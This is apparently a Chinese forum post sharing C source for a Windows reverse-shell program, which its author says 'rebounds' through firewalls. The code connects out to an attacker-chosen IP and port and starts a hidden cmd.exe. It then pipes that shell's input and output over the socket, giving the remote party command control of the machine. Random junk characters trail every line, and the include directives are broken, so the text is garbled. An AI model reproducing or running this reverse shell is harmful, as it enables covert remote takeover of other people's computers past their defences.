这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 in<.0v9w
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/* ============================== 3ai[ r
Rebound port in Windows NT `\62 iUN
By wind,2006/7 qBX_v5pvVA
===============================*/ f7~dn#<@
#include 'E3T fM
#include 1vj@qw3
rs{)4.I
#pragma comment(lib,"wsock32.lib") Sk cK>i.[
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void OutputShell(); OW4j!W
SOCKET sClient; qqf`z,u
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X$we\t
# dUKG8-HJ
void main(int argc,char **argv) <-`.u`
{ ,%*UF6B
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WSADATA stWsaData; BX0lk
int nRet; @"MYq#2c$
SOCKADDR_IN stSaiClient,stSaiServer; S>~f.
wWb>V&3
if(argc != 3) hhy+bA}
{ id1cZig
printf("Useage:\n\rRebound DestIP DestPort\n"); z/1$G"
return; =#Sw.N
} at_*Zh(
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WSAStartup(MAKEWORD(2,2),&stWsaData); hi1Ial\Y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s Z[[ymu8
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stSaiClient.sin_family = AF_INET; pD%(Y^h?
stSaiClient.sin_port = htons(0); djOjd,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q>2bkc GY#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Kq3c Kp4
{ \dtiv& x
printf("Bind Socket Failed!\n");
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return; t^~vi'bB
} 8@m$(I+
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stSaiServer.sin_family = AF_INET; UPuoIfuqI
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "#r)NYq`"|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u;_h%z5K
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fZo#:"{/K
{ .C%
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printf("Connect Error!"); )y,^M3$?C
return; 5)!g.8-!
} \FVfV`x
OutputShell(); oZvG Kf
} v745FIy<
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void OutputShell() eIkKsgr>
{ Food<(!.>
char szBuff[1024]; Y~I<L ocv
SECURITY_ATTRIBUTES stSecurityAttributes; D!rPF)K
)
OSVERSIONINFO stOsversionInfo; Jbu2y'zE
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; oFWb.t9<
STARTUPINFO stStartupInfo; vV}w>Ap[
char *szShell; 3PNdc}h
PROCESS_INFORMATION stProcessInformation; YZg#H)w%
unsigned long lBytesRead; faQmkO
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |3'
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xqG<R5k>>
stSecurityAttributes.lpSecurityDescriptor = 0; a `R%\@1
stSecurityAttributes.bInheritHandle = TRUE; MUrPr
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [SPx
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MVYd\)\o
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "h sT^sy
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F` U~(>u'
stStartupInfo.wShowWindow = SW_HIDE; `6U!\D
stStartupInfo.hStdInput = hReadPipe; ` =>}*GS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M13HD/~O
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GetVersionEx(&stOsversionInfo); p%Z:SZZ
+=3=% %?C
switch(stOsversionInfo.dwPlatformId) ;g|Vt}a&4
{ npdljLN
case 1: G*CPj^O
szShell = "command.com"; <u64)8'
break; T}#iXgyx
default: Hb)FeGsd).
szShell = "cmd.exe"; w'
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break; c7e,lgG-
} {X!OK3e
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xlI=)ak{
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send(sClient,szMsg,77,0); Ir9GgB
while(1) Met]|&
{ F$7!j$
Z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 40t xZFQ0
if(lBytesRead) k#].nQG
{ QZzamT)"
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -YA,Stc-
send(sClient,szBuff,lBytesRead,0); /I%z7f91O
} n4K!Wv&u
else \Vyys[MMY8
{ l(t&<O(m9
lBytesRead=recv(sClient,szBuff,1024,0); ~t6q-P
if(lBytesRead<=0) break; A8)4nOXM
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XiW1X6
} 76nH)^%l<
} ~YYnn7)
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return; i>m%hbAk
}